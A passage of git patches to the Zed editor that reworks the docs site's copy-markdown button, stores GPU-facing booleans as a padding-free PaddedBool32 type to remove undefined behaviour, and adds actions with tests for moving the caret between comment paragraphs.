-                                {{title}}
-                            </a>
-                            {{/previous}}
-                            {{#next}}
-                            <a rel="next" href="{{ path_to_root }}{{link}}" class="footer-button" title="{{title}}">
-                                {{title}}
-                                <i class="fa fa-angle-right"></i>
-                            </a>
-                            {{/next}}
-                        </div>
-                        <footer class="footer">
-                            <a href="/" class="logo-nav">
-                                <img
-                                    src="https://zed.dev/logo_icon.webp"
-                                    class="footer-logo"
-                                    alt="Zed Industries"
-                                />
-                            </a>
-                            <span class="footer-separator">•</span>
-                            <a class="footer-link" href="https://zed.dev"
-                                >Back to Site</a
-                            >
-                            <span class="footer-separator">•</span>
-                            <a
-                                class="footer-link"
-                                href="https://zed.dev/releases"
-                                >Releases</a
-                            >
-                            <span class="footer-separator">•</span>
-                            <a
-                                class="footer-link"
-                                href="https://zed.dev/roadmap"
-                                >Roadmap</a
-                            >
-                            <span class="footer-separator">•</span>
-                            <a
-                                class="footer-link"
-                                href="https://github.com/zed-industries/zed"
-                                >GitHub</a
-                            >
-                            <span class="footer-separator">•</span>
-                            <a
-                                class="footer-link"
-                                href="https://zed.dev/blog"
-                                >Blog</a
-                            >
-                            <span class="footer-separator">•</span>
-                            <button
-                                id="c15t-manage-consent-btn"
-                                class="footer-link"
-                            >
-                                Manage Site Cookies
-                            </button>
-                        </footer>
-                    </main>
-                    <div class="toc-container">
-                        <nav class="pagetoc"></nav>
-                    </div>
-                    <!-- Immediately detect if page has headins that are not h1 to prevent flicker -->
-                    <script>
-                        (function() {
-                            var tocContainer = document.querySelector('.toc-container');
-                            var headers = document.querySelectorAll('.header');
-                            var hasNonH1Headers = false;
-                            for (var i = 0; i < headers.length; i++) {
-                                var parent = headers[i].parentElement;
-                                if (parent && !parent.tagName.toLowerCase().startsWith('h1')) {
-                                    hasNonH1Headers = true;
-                                    break;
-                                }
-                            }
-                            if (hasNonH1Headers) {
-                                tocContainer.classList.add('has-toc');
-                            } else {
-                                tocContainer.classList.add('no-toc');
-                            }
-                        })();
-                    </script>
-                </div>
-            </div>
         </div>
 
         {{#if live_reload_endpoint}}
diff --git a/docs/theme/plugins.css b/docs/theme/plugins.css
index ef59e97072bd2c..527cd170da5240 100644
--- a/docs/theme/plugins.css
+++ b/docs/theme/plugins.css
@@ -12,6 +12,70 @@ kbd.keybinding {
   -webkit-text-stroke: 0.5px currentColor;
 }
 
+.page-header {
+  display: flex;
+  align-items: flex-start;
+  justify-content: space-between;
+  gap: 16px;
+  margin: 0 0 28px;
+}
+
+.page-header h1 {
+  min-width: 0;
+  margin-block: 0;
+}
+
+.page-actions {
+  display: flex;
+  flex: 0 0 auto;
+  gap: 8px;
+  margin-top: 6px;
+}
+
+.page-action {
+  display: inline-flex;
+  align-items: center;
+  gap: 8px;
+  height: 32px;
+  padding: 0 10px;
+  color: var(--fg);
+  background: var(--media-bg);
+  border: 1px solid var(--border);
+  border-radius: 4px;
+  font: inherit;
+  font-size: 1.3rem;
+  line-height: 1;
+  cursor: pointer;
+}
+
+.page-action:hover {
+  color: var(--full-contrast);
+  border-color: var(--border-hover);
+}
+
+.page-action i {
+  width: 14px;
+  text-align: center;
+}
+
+.page-action-icon {
+  width: 32px;
+  padding: 0;
+  justify-content: center;
+}
+
+@media (max-width: 720px) {
+  .page-header {
+    flex-direction: column;
+    gap: 10px;
+  }
+
+  .page-actions {
+    flex-wrap: wrap;
+    margin-top: 0;
+  }
+}
+
 .copy-toast {
   position: fixed;
   top: 72px;
diff --git a/docs/theme/plugins.js b/docs/theme/plugins.js
index 1e20fe65c150d5..2dc58fda37d574 100644
--- a/docs/theme/plugins.js
+++ b/docs/theme/plugins.js
@@ -79,34 +79,15 @@ function darkModeToggle() {
   });
 }
 
-const copyMarkdown = () => {
-  const copyButton = document.getElementById("copy-markdown-toggle");
-  if (!copyButton) return;
+const copyPageActions = () => {
+  const headerCopyMarkdownButton = document.getElementById(
+    "copy-markdown-toggle",
+  );
 
-  // Store the original icon class, loading state, and timeout reference
-  const originalIconClass = "fa fa-copy";
+  const actionButtons = new Map();
   let isLoading = false;
-  let iconTimeoutId = null;
-
-  const getCurrentPagePath = () => {
-    const pathname = window.location.pathname;
-
-    // Handle root docs path
-    if (pathname === "/docs/" || pathname === "/docs") {
-      return "getting-started.md";
-    }
-
-    // Remove /docs/ prefix and .html suffix, then add .md
-    const cleanPath = pathname
-      .replace(/^\/docs\//, "")
-      .replace(/\.html$/, "")
-      .replace(/\/$/, "");
-
-    return cleanPath ? cleanPath + ".md" : "getting-started.md";
-  };
 
   const showToast = (message, isSuccess = true) => {
-    // Remove existing toast if any
     const existingToast = document.getElementById("copy-toast");
     existingToast?.remove();
 
@@ -117,12 +98,10 @@ const copyMarkdown = () => {
 
     document.body.appendChild(toast);
 
-    // Show toast with animation
     setTimeout(() => {
       toast.classList.add("show");
     }, 10);
 
-    // Hide and remove toast after 2 seconds
     setTimeout(() => {
       toast.classList.remove("show");
       setTimeout(() => {
@@ -131,38 +110,119 @@ const copyMarkdown = () => {
     }, 2000);
   };
 
-  const changeButtonIcon = (iconClass, duration = 1000) => {
-    const icon = copyButton.querySelector("i");
+  const registerButton = (button, originalIconClass) => {
+    if (!button) return;
+    actionButtons.set(button, {
+      originalIconClass,
+      iconTimeoutId: null,
+    });
+  };
+
+  registerButton(headerCopyMarkdownButton, "fa fa-copy");
+
+  const changeButtonIcon = (button, iconClass, duration = 1000) => {
+    const state = actionButtons.get(button);
+    if (!state) return;
+
+    const icon = button.querySelector("i");
     if (!icon) return;
 
-    // Clear any existing timeout
-    if (iconTimeoutId) {
-      clearTimeout(iconTimeoutId);
-      iconTimeoutId = null;
+    if (state.iconTimeoutId) {
+      clearTimeout(state.iconTimeoutId);
+      state.iconTimeoutId = null;
     }
 
     icon.className = iconClass;
 
     if (duration > 0) {
-      iconTimeoutId = setTimeout(() => {
-        icon.className = originalIconClass;
-        iconTimeoutId = null;
+      state.iconTimeoutId = setTimeout(() => {
+        icon.className = state.originalIconClass;
+        state.iconTimeoutId = null;
       }, duration);
     }
   };
 
-  const fetchAndCopyMarkdown = async () => {
+  const copyText = async (text) => {
+    if (!navigator.clipboard?.writeText) {
+      throw new Error("Clipboard API not supported in this browser");
+    }
+
+    await navigator.clipboard.writeText(text);
+  };
+
+  const getContentRoot = () =>
+    document.querySelector("#content main .content-wrap") ||
+    document.querySelector("#content > main");
+
+  const markdownAlternateHref = () =>
+    document
+      .querySelector('link[rel="alternate"][type="text/markdown"]')
+      ?.getAttribute("href");
+
+  const insertPageActionButtons = () => {
+    const contentRoot = getContentRoot();
+    if (
+      !contentRoot ||
+      contentRoot.querySelector(".page-actions") ||
+      !headerCopyMarkdownButton ||
+      !markdownAlternateHref()
+    ) {
+      return;
+    }
+
+    const firstHeading = contentRoot.querySelector("h1");
+    if (!firstHeading) return;
+
+    const header = document.createElement("div");
+    header.className = "page-header";
+
+    const actions = document.createElement("div");
+    actions.className = "page-actions";
+
+    firstHeading.insertAdjacentElement("beforebegin", header);
+    headerCopyMarkdownButton.classList.remove(
+      "icon-button",
+      "ib-hidden-mobile",
+    );
+    headerCopyMarkdownButton.classList.add("page-action", "page-action-icon");
+    actions.append(headerCopyMarkdownButton);
+    header.append(firstHeading, actions);
+  };
+
+  const markdownUrl = () => {
+    const alternateHref = markdownAlternateHref();
+    if (!alternateHref) return null;
+
+    const url = new URL(alternateHref, window.location.href);
+    if (
+      url.origin === window.location.origin &&
+      url.pathname.startsWith("/docs/") &&
+      !window.location.pathname.startsWith("/docs/")
+    ) {
+      return url.pathname.replace(/^\/docs/, "") || "/";
+    }
+
+    if (url.origin === window.location.origin) {
+      return `${url.pathname}${url.search}${url.hash}`;
+    }
+
+    return url.pathname;
+  };
+
+  const fetchAndCopyMarkdown = async (button) => {
     // Prevent multiple simultaneous requests
     if (isLoading) return;
 
     try {
       isLoading = true;
-      changeButtonIcon("fa fa-spinner fa-spin", 0); // Don't auto-restore spinner
+      changeButtonIcon(button, "fa fa-spinner fa-spin", 0); // Don't auto-restore spinner
 
-      const pagePath = getCurrentPagePath();
-      const rawUrl = `https://raw.githubusercontent.com/zed-industries/zed/main/docs/src/${pagePath}`;
+      const url = markdownUrl();
+      if (!url) {
+        throw new Error("Markdown alternate link not found");
+      }
 
-      const response = await fetch(rawUrl);
+      const response = await fetch(url);
       if (!response.ok) {
         throw new Error(
           `Failed to fetch markdown: ${response.status} ${response.statusText}`,
@@ -171,33 +231,36 @@ const copyMarkdown = () => {
 
       const markdownContent = await response.text();
 
-      // Copy to clipboard using modern API
-      if (navigator.clipboard?.writeText) {
-        await navigator.clipboard.writeText(markdownContent);
-      } else {
-        // Fallback: throw error if clipboard API isn't available
-        throw new Error("Clipboard API not supported in this browser");
-      }
+      await copyText(markdownContent);
 
-      changeButtonIcon("fa fa-check", 1000);
-      showToast("Page content copied to clipboard!");
+      changeButtonIcon(button, "fa fa-check", 1000);
+      showToast("Markdown copied to clipboard!");
     } catch (error) {
       console.error("Error copying markdown:", error);
-      changeButtonIcon("fa fa-exclamation-triangle", 2000);
+      changeButtonIcon(button, "fa fa-exclamation-triangle", 2000);
       showToast("Failed to copy markdown. Please try again.", false);
     } finally {
       isLoading = false;
     }
   };
 
-  copyButton.addEventListener("click", fetchAndCopyMarkdown);
+  headerCopyMarkdownButton?.addEventListener("click", () =>
+    fetchAndCopyMarkdown(headerCopyMarkdownButton),
+  );
+
+  insertPageActionButtons();
 };
 
-// Initialize functionality when DOM is loaded
-document.addEventListener("DOMContentLoaded", () => {
+const initializePlugins = () => {
   darkModeToggle();
-  copyMarkdown();
-});
+  requestAnimationFrame(copyPageActions);
+};
+
+if (document.readyState === "loading") {
+  document.addEventListener("DOMContentLoaded", initializePlugins);
+} else {
+  initializePlugins();
+}
 
 // Collapsible sidebar navigation for entire sections
 // Note: Initial collapsed state is applied in index.hbs to prevent flicker

From f28177003499ec9c5052d1883fee62b148451c59 Mon Sep 17 00:00:00 2001
From: Richard Feldman <richard@zed.dev>
Date: Thu, 9 Jul 2026 01:37:35 -0400
Subject: [PATCH 351/772] gpui: Store GPU-facing bools as PaddedBool32 to avoid
 uninitialized padding (#60482)

`PolychromeSprite` in `crates/gpui/src/scene.rs` is `#[repr(C)]` and had
a `grayscale: bool` field followed by 3 compiler-inserted padding bytes
that were never written. The wgpu renderer's `instance_bytes`
reinterprets `&[PolychromeSprite]` as `&[u8]` via
`slice::from_raw_parts` and passes it to `queue.write_buffer`, so those
uninitialized padding bytes were exposed behind a shared `&[u8]` on
every frame that draws an image or emoji, which is undefined behavior.

Rather than widening the field to a raw `u32` (which would suggest
values other than 0 and 1 are meaningful), this introduces
`PaddedBool32`: a `#[repr(transparent)]` wrapper around `u32` whose only
public constructor is `From<bool>`, so the 0-or-1 invariant is enforced
by the type while the layout has no padding. `Underline.wavy`, which was
already a raw `u32` for the same reason, is converted too.

cbindgen emits the wrapper as `typedef uint32_t PaddedBool32;`, so the
generated Metal header and shaders are unchanged. The WGSL and HLSL
shaders already declared these fields as `u32`/`uint`; their `& 0xFFu`
masks, which existed to ignore the garbage padding bytes, are now
simplified to plain comparisons.

Release Notes:

- N/A
---
 crates/gpui/src/scene.rs             | 18 ++++++++++++++++--
 crates/gpui/src/window.rs            |  8 ++++----
 crates/gpui_wgpu/src/shaders.wgsl    |  4 ++--
 crates/gpui_windows/src/shaders.hlsl |  2 +-
 4 files changed, 23 insertions(+), 9 deletions(-)

diff --git a/crates/gpui/src/scene.rs b/crates/gpui/src/scene.rs
index bc7f5d79eace55..ea2ad7b2b90519 100644
--- a/crates/gpui/src/scene.rs
+++ b/crates/gpui/src/scene.rs
@@ -22,6 +22,20 @@ pub type PathVertex_ScaledPixels = PathVertex<ScaledPixels>;
 #[expect(missing_docs)]
 pub type DrawOrder = u32;
 
+/// A boolean stored as a `u32` so that GPU-facing structs contain no
+/// compiler-inserted padding bytes, which would be undefined behavior to
+/// reinterpret as `&[u8]` when writing instance buffers. Guaranteed to be
+/// `0` or `1` by construction; shaders read it as a `u32`/`uint`.
+#[derive(Copy, Clone, Debug, Default, PartialEq, Eq)]
+#[repr(transparent)]
+pub struct PaddedBool32(u32);
+
+impl From<bool> for PaddedBool32 {
+    fn from(value: bool) -> Self {
+        PaddedBool32(value as u32)
+    }
+}
+
 #[derive(Default)]
 #[expect(missing_docs)]
 pub struct Scene {
@@ -511,7 +525,7 @@ pub struct Underline {
     pub content_mask: ContentMask<ScaledPixels>,
     pub color: Hsla,
     pub thickness: ScaledPixels,
-    pub wavy: u32,
+    pub wavy: PaddedBool32,
 }
 
 impl From<Underline> for Primitive {
@@ -701,7 +715,7 @@ impl From<SubpixelSprite> for Primitive {
 pub struct PolychromeSprite {
     pub order: DrawOrder,
     pub pad: u32,
-    pub grayscale: bool,
+    pub grayscale: PaddedBool32,
     pub opacity: f32,
     pub bounds: Bounds<ScaledPixels>,
     pub content_mask: ContentMask<ScaledPixels>,
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 62a8011d4e6536..7059cf863a60ff 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -3812,7 +3812,7 @@ impl Window {
             content_mask: self.snapped_content_mask(),
             color: style.color.unwrap_or_default().opacity(element_opacity),
             thickness,
-            wavy: if style.wavy { 1 } else { 0 },
+            wavy: style.wavy.into(),
         });
     }
 
@@ -3842,7 +3842,7 @@ impl Window {
             content_mask: self.snapped_content_mask(),
             thickness: self.snap_stroke(style.thickness),
             color: style.color.unwrap_or_default().opacity(opacity),
-            wavy: 0,
+            wavy: false.into(),
         });
     }
 
@@ -4002,7 +4002,7 @@ impl Window {
             self.next_frame.scene.insert_primitive(PolychromeSprite {
                 order: 0,
                 pad: 0,
-                grayscale: false,
+                grayscale: false.into(),
                 bounds,
                 corner_radii: Default::default(),
                 content_mask,
@@ -4117,7 +4117,7 @@ impl Window {
         self.next_frame.scene.insert_primitive(PolychromeSprite {
             order: 0,
             pad: 0,
-            grayscale,
+            grayscale: grayscale.into(),
             bounds,
             content_mask,
             corner_radii,
diff --git a/crates/gpui_wgpu/src/shaders.wgsl b/crates/gpui_wgpu/src/shaders.wgsl
index 933b88e84d79a9..747a34d81e08ac 100644
--- a/crates/gpui_wgpu/src/shaders.wgsl
+++ b/crates/gpui_wgpu/src/shaders.wgsl
@@ -1191,7 +1191,7 @@ fn fs_underline(input: UnderlineVarying) -> @location(0) vec4<f32> {
     }
 
     let underline = b_underlines[input.underline_id];
-    if ((underline.wavy & 0xFFu) == 0u)
+    if (underline.wavy == 0u)
     {
         return blend_color(input.color, input.color.a);
     }
@@ -1305,7 +1305,7 @@ fn fs_poly_sprite(input: PolySpriteVarying) -> @location(0) vec4<f32> {
     let distance = quad_sdf(input.position.xy, sprite.bounds, sprite.corner_radii);
 
     var color = sample;
-    if ((sprite.grayscale & 0xFFu) != 0u) {
+    if (sprite.grayscale != 0u) {
         let grayscale = dot(color.rgb, GRAYSCALE_FACTORS);
         color = vec4<f32>(vec3<f32>(grayscale), sample.a);
     }
diff --git a/crates/gpui_windows/src/shaders.hlsl b/crates/gpui_windows/src/shaders.hlsl
index 89c12489b24cf6..483f03993855e2 100644
--- a/crates/gpui_windows/src/shaders.hlsl
+++ b/crates/gpui_windows/src/shaders.hlsl
@@ -1249,7 +1249,7 @@ float4 polychrome_sprite_fragment(PolychromeSpriteFragmentInput input): SV_Targe
     float distance = quad_sdf(input.position.xy, sprite.bounds, sprite.corner_radii);
 
     float4 color = sample;
-    if ((sprite.grayscale & 0xFFu) != 0u) {
+    if (sprite.grayscale != 0u) {
         float3 grayscale = dot(color.rgb, GRAYSCALE_FACTORS);
         color = float4(grayscale, sample.a);
     }

From 57261fef89db4ba6767617e74324c682754ff3f4 Mon Sep 17 00:00:00 2001
From: Todd L Smith <todd@availlang.org>
Date: Thu, 9 Jul 2026 00:49:09 -0500
Subject: [PATCH 352/772] editor: Add actions to move between comment
 paragraphs (#58353)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Jump the caret straight to the next/previous block of prose comments —
like paragraph motion, but for comments.

The motivating workflow: reflowing a file's comments with `editor:
rewrap`. Today that means reaching for the mouse to click into each
comment block scattered through the file, or using other cursor motions
and undershooting or overshooting the target. With these two actions you
can step from one comment paragraph to the next, `rewrap`, and repeat —
reflowing every comment in a file without ever touching the mouse. It's
also handy for skimming a heavily-documented file: hop from doc comment
to doc comment without manually scrolling past the code in between.

Adds two editor actions:

- `editor::MoveToNextCommentParagraph`
- `editor::MoveToPreviousCommentParagraph`

Both move the caret to the first non-whitespace character of the
next/previous *comment paragraph*. They have no default keybinding and
are available from the command palette ("editor: move to next/previous
comment paragraph").

### What counts as a comment paragraph

A comment paragraph is a run of consecutive comment lines. A line is a
comment line when its **first non-whitespace character is in a `comment`
syntax scope** and the line contains prose (at least one alphanumeric
character). This is determined from the syntax tree
(`language_scope_at(...).override_name()`), the same mechanism `rewrap`
and comment folding already use, so it behaves correctly without
per-language string matching:

- **End-of-line comments preceded by code are ignored** — on `let x = 1;
// note` the first non-whitespace character is code, not a comment, so
the line is not a paragraph line.
- **`//` inside a string literal is ignored** — its scope is `string`,
not `comment`.
- **Blank/divider comment lines separate paragraphs** — a bare `//` or
`// -----` (no prose) acts as a separator, so you can hop between
paragraphs *within* one comment block as well as across blocks.

Both directions always move to a paragraph *other* than the one the
caret is in: when the caret is inside a paragraph, the whole current
paragraph is skipped, so `Prev` lands on the previous paragraph's start
rather than the current paragraph's own start.

### On the autoscroll

These two actions scroll the destination near the top of the viewport
(`Autoscroll::top_relative`) rather than using the default `Fit`
strategy that sibling motions use. This is deliberate and specific to
the feature: you are jumping to the **start** of a comment paragraph
that extends *downward*, so biasing the destination toward the top keeps
the whole paragraph visible after the jump. This matters for the rewrap
workflow above — you want to see the full comment you are about to
reflow, and the reflow itself changes the paragraph's line count. With
the default `Fit`, repeated forward jumps creep the caret to the bottom
edge and leave long paragraphs cut off below the fold — the opposite of
what this motion is for. Happy to revisit the exact strategy/offset if
you'd prefer consistency with the other motions.

### Tests

Two tests in `editor_tests.rs` (using a real grammar + comment override
query):

- `test_move_to_next_and_previous_comment_paragraph` — full
forward/backward round trip, covering blank comment-line separators,
code separators, trailing comments, and the no-more-paragraphs stop.
- `test_move_to_previous_comment_paragraph_skips_current_paragraph` —
`Prev` from mid-paragraph skips to the previous paragraph, and stays put
when there is no previous paragraph.

---

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments — N/A, no unsafe
- [x] The content is consistent with the UI/UX checklist
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Added `editor::MoveToNextCommentParagraph` and
`editor::MoveToPreviousCommentParagraph` actions to move the caret
between comment paragraphs
---
 crates/editor/src/actions.rs      |   4 +
 crates/editor/src/editor_tests.rs | 231 ++++++++++++++++++++++++++++++
 crates/editor/src/element.rs      |   2 +
 crates/editor/src/movement.rs     |  93 ++++++++++++
 crates/editor/src/navigation.rs   |  62 ++++++++
 5 files changed, 392 insertions(+)

diff --git a/crates/editor/src/actions.rs b/crates/editor/src/actions.rs
index f0b9cfb4f5da1f..2bd544736a5ae6 100644
--- a/crates/editor/src/actions.rs
+++ b/crates/editor/src/actions.rs
@@ -669,10 +669,14 @@ actions!(
         MoveToEnd,
         /// Moves cursor to the end of the paragraph.
         MoveToEndOfParagraph,
+        /// Moves cursor to the start of the next comment paragraph.
+        MoveToNextCommentParagraph,
         /// Moves cursor to the end of the next subword.
         MoveToNextSubwordEnd,
         /// Moves cursor to the end of the next word.
         MoveToNextWordEnd,
+        /// Moves cursor to the start of the previous comment paragraph.
+        MoveToPreviousCommentParagraph,
         /// Moves cursor to the start of the previous subword.
         MoveToPreviousSubwordStart,
         /// Moves cursor to the start of the previous word.
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 9b78a9a5c0cdf4..2a4ac54cf59fc4 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -2898,6 +2898,237 @@ async fn test_move_start_of_paragraph_end_of_paragraph(cx: &mut TestAppContext)
     cx.assert_editor_state(&"ˇone\ntwo\n \nthree\nfour\nfive\n\nsix");
 }
 
+#[gpui::test]
+async fn test_move_to_next_and_previous_comment_paragraph(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let language = Arc::new(
+        Language::new(
+            LanguageConfig {
+                line_comments: vec!["// ".into()],
+                ..LanguageConfig::default()
+            },
+            Some(tree_sitter_rust::LANGUAGE.into()),
+        )
+        .with_override_query("[(line_comment)(block_comment)] @comment.inclusive")
+        .unwrap(),
+    );
+
+    let mut cx = EditorTestContext::new(cx).await;
+    cx.update_buffer(|buffer, cx| buffer.set_language(Some(language), cx));
+
+    // A blank comment line (`//`) splits one comment block into two paragraphs;
+    // a code line splits blocks; and a trailing comment preceded by code
+    // (`let x = 1; // ...`) is not a comment line at all.
+    cx.set_state(indoc! {"
+        ˇ// first paragraph line one
+        // first paragraph line two
+        //
+        // second paragraph
+        fn code() {}
+        // third paragraph
+        let x = 1; // trailing comment, ignored
+        // fourth paragraph
+    "});
+    cx.run_until_parked();
+
+    let next = |cx: &mut EditorTestContext| {
+        cx.update_editor(|editor, window, cx| {
+            editor.move_to_next_comment_paragraph(&MoveToNextCommentParagraph, window, cx)
+        });
+    };
+    let prev = |cx: &mut EditorTestContext| {
+        cx.update_editor(|editor, window, cx| {
+            editor.move_to_previous_comment_paragraph(&MoveToPreviousCommentParagraph, window, cx)
+        });
+    };
+
+    // Forward: skip the second line of the first paragraph, the blank comment
+    // line, the code line, and the trailing comment line.
+    next(&mut cx);
+    cx.assert_editor_state(indoc! {"
+        // first paragraph line one
+        // first paragraph line two
+        //
+        ˇ// second paragraph
+        fn code() {}
+        // third paragraph
+        let x = 1; // trailing comment, ignored
+        // fourth paragraph
+    "});
+    next(&mut cx);
+    cx.assert_editor_state(indoc! {"
+        // first paragraph line one
+        // first paragraph line two
+        //
+        // second paragraph
+        fn code() {}
+        ˇ// third paragraph
+        let x = 1; // trailing comment, ignored
+        // fourth paragraph
+    "});
+    next(&mut cx);
+    cx.assert_editor_state(indoc! {"
+        // first paragraph line one
+        // first paragraph line two
+        //
+        // second paragraph
+        fn code() {}
+        // third paragraph
+        let x = 1; // trailing comment, ignored
+        ˇ// fourth paragraph
+    "});
+    // No paragraph after the last one: the caret stays put.
+    next(&mut cx);
+    cx.assert_editor_state(indoc! {"
+        // first paragraph line one
+        // first paragraph line two
+        //
+        // second paragraph
+        fn code() {}
+        // third paragraph
+        let x = 1; // trailing comment, ignored
+        ˇ// fourth paragraph
+    "});
+
+    // Backward is the mirror image.
+    prev(&mut cx);
+    cx.assert_editor_state(indoc! {"
+        // first paragraph line one
+        // first paragraph line two
+        //
+        // second paragraph
+        fn code() {}
+        ˇ// third paragraph
+        let x = 1; // trailing comment, ignored
+        // fourth paragraph
+    "});
+    prev(&mut cx);
+    cx.assert_editor_state(indoc! {"
+        // first paragraph line one
+        // first paragraph line two
+        //
+        ˇ// second paragraph
+        fn code() {}
+        // third paragraph
+        let x = 1; // trailing comment, ignored
+        // fourth paragraph
+    "});
+    prev(&mut cx);
+    cx.assert_editor_state(indoc! {"
+        ˇ// first paragraph line one
+        // first paragraph line two
+        //
+        // second paragraph
+        fn code() {}
+        // third paragraph
+        let x = 1; // trailing comment, ignored
+        // fourth paragraph
+    "});
+    // No paragraph before the first one: the caret stays put.
+    prev(&mut cx);
+    cx.assert_editor_state(indoc! {"
+        ˇ// first paragraph line one
+        // first paragraph line two
+        //
+        // second paragraph
+        fn code() {}
+        // third paragraph
+        let x = 1; // trailing comment, ignored
+        // fourth paragraph
+    "});
+}
+
+#[gpui::test]
+async fn test_move_to_previous_comment_paragraph_skips_current_paragraph(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let language = Arc::new(
+        Language::new(
+            LanguageConfig {
+                line_comments: vec!["// ".into()],
+                ..LanguageConfig::default()
+            },
+            Some(tree_sitter_rust::LANGUAGE.into()),
+        )
+        .with_override_query("[(line_comment)(block_comment)] @comment.inclusive")
+        .unwrap(),
+    );
+
+    let mut cx = EditorTestContext::new(cx).await;
+    cx.update_buffer(|buffer, cx| buffer.set_language(Some(language), cx));
+
+    let prev = |cx: &mut EditorTestContext| {
+        cx.update_editor(|editor, window, cx| {
+            editor.move_to_previous_comment_paragraph(&MoveToPreviousCommentParagraph, window, cx)
+        });
+    };
+
+    // Caret in the middle of the last line of the second paragraph: moving to
+    // the previous paragraph must skip the entire current paragraph and land on
+    // the first paragraph's start, not on the current paragraph's own start.
+    cx.set_state(indoc! {"
+        // alpha one
+        // alpha two
+        // alpha three
+
+        // beta one
+        // beta ˇtwo
+    "});
+    cx.run_until_parked();
+    prev(&mut cx);
+    cx.assert_editor_state(indoc! {"
+        ˇ// alpha one
+        // alpha two
+        // alpha three
+
+        // beta one
+        // beta two
+    "});
+
+    // Same when the caret is part-way through the *first* line of the second
+    // paragraph.
+    cx.set_state(indoc! {"
+        // alpha one
+        // alpha two
+        // alpha three
+
+        // beˇta one
+        // beta two
+    "});
+    cx.run_until_parked();
+    prev(&mut cx);
+    cx.assert_editor_state(indoc! {"
+        ˇ// alpha one
+        // alpha two
+        // alpha three
+
+        // beta one
+        // beta two
+    "});
+
+    // Inside the first paragraph there is no previous paragraph, so the caret
+    // stays put rather than jumping to the current paragraph's own start.
+    cx.set_state(indoc! {"
+        // alpha one
+        // alpha ˇtwo
+        // alpha three
+
+        // beta one
+        // beta two
+    "});
+    cx.run_until_parked();
+    prev(&mut cx);
+    cx.assert_editor_state(indoc! {"
+        // alpha one
+        // alpha ˇtwo
+        // alpha three
+
+        // beta one
+        // beta two
+    "});
+}
+
 #[gpui::test]
 async fn test_scroll_page_up_page_down(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index 4ce36632f254a8..fe06b33f4317ed 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -312,6 +312,8 @@ impl EditorElement {
         register_action(editor, window, Editor::move_to_end_of_line);
         register_action(editor, window, Editor::move_to_start_of_paragraph);
         register_action(editor, window, Editor::move_to_end_of_paragraph);
+        register_action(editor, window, Editor::move_to_next_comment_paragraph);
+        register_action(editor, window, Editor::move_to_previous_comment_paragraph);
         register_action(editor, window, Editor::move_to_beginning);
         register_action(editor, window, Editor::move_to_end);
         register_action(editor, window, Editor::move_to_start_of_excerpt);
diff --git a/crates/editor/src/movement.rs b/crates/editor/src/movement.rs
index 5742c9d20ce2db..92b1a30cf2231b 100644
--- a/crates/editor/src/movement.rs
+++ b/crates/editor/src/movement.rs
@@ -582,6 +582,99 @@ pub fn end_of_paragraph(
     map.max_point()
 }
 
+/// Returns whether `row` is part of a comment paragraph: a line whose first
+/// non-whitespace character lies within a comment scope and which contains at
+/// least one alphanumeric character.
+///
+/// This intentionally excludes:
+/// - blank lines and code lines,
+/// - end-of-line comments preceded by code (the first non-whitespace character
+///   is then code, not a comment),
+/// - "blank"/divider comment lines such as a bare `//` or `// -----` (no
+///   alphanumeric content), which act as paragraph separators.
+fn is_comment_paragraph_line(snapshot: &MultiBufferSnapshot, row: u32) -> bool {
+    let buffer_row = MultiBufferRow(row);
+    if snapshot.is_line_blank(buffer_row) {
+        return false;
+    }
+    let indent_len = snapshot.indent_size_for_line(buffer_row).len;
+    let indent_end = Point::new(row, indent_len);
+    let in_comment = snapshot.language_scope_at(indent_end).is_some_and(|scope| {
+        matches!(
+            scope.override_name(),
+            Some("comment") | Some("comment.inclusive")
+        )
+    });
+    if !in_comment {
+        return false;
+    }
+    let line_end = Point::new(row, snapshot.line_len(buffer_row));
+    snapshot
+        .text_for_range(indent_end..line_end)
+        .flat_map(|chunk| chunk.chars())
+        .any(|c| c.is_alphanumeric())
+}
+
+/// Returns the position of the first non-whitespace character of the next or
+/// previous comment paragraph, relative to `from`.
+///
+/// A comment paragraph is a run of consecutive comment lines (see
+/// [`is_comment_paragraph_line`]); paragraphs are separated by blank lines, code
+/// lines, and blank/divider comment lines. If no such paragraph exists in the
+/// requested direction, `from` is returned unchanged.
+///
+/// Both directions always move to a *different* paragraph than the one the
+/// caret is in: when the caret is inside a comment paragraph, the entire
+/// current paragraph is skipped, so `Prev` lands on the previous paragraph's
+/// start rather than the current paragraph's own start.
+pub fn comment_paragraph(
+    map: &DisplaySnapshot,
+    from: DisplayPoint,
+    direction: Direction,
+) -> DisplayPoint {
+    let snapshot = map.buffer_snapshot();
+    let from_point = from.to_point(map);
+    let max_row = snapshot.max_row().0;
+
+    let is_paragraph_start = |row: u32| {
+        is_comment_paragraph_line(snapshot, row)
+            && (row == 0 || !is_comment_paragraph_line(snapshot, row - 1))
+    };
+    let paragraph_start_point =
+        |row: u32| Point::new(row, snapshot.indent_size_for_line(MultiBufferRow(row)).len);
+
+    let target = match direction {
+        Direction::Next => (from_point.row..=max_row).find_map(|row| {
+            let point = paragraph_start_point(row);
+            (point > from_point && is_paragraph_start(row)).then_some(point)
+        }),
+        Direction::Prev => {
+            // If the caret is within a comment paragraph, skip over the whole
+            // current paragraph so we land on the *previous* paragraph rather
+            // than stopping at the current paragraph's own start.
+            let mut boundary_row = from_point.row;
+            if is_comment_paragraph_line(snapshot, boundary_row) {
+                while boundary_row > 0 && is_comment_paragraph_line(snapshot, boundary_row - 1) {
+                    boundary_row -= 1;
+                }
+                (0..boundary_row)
+                    .rev()
+                    .find_map(|row| is_paragraph_start(row).then(|| paragraph_start_point(row)))
+            } else {
+                (0..=from_point.row).rev().find_map(|row| {
+                    let point = paragraph_start_point(row);
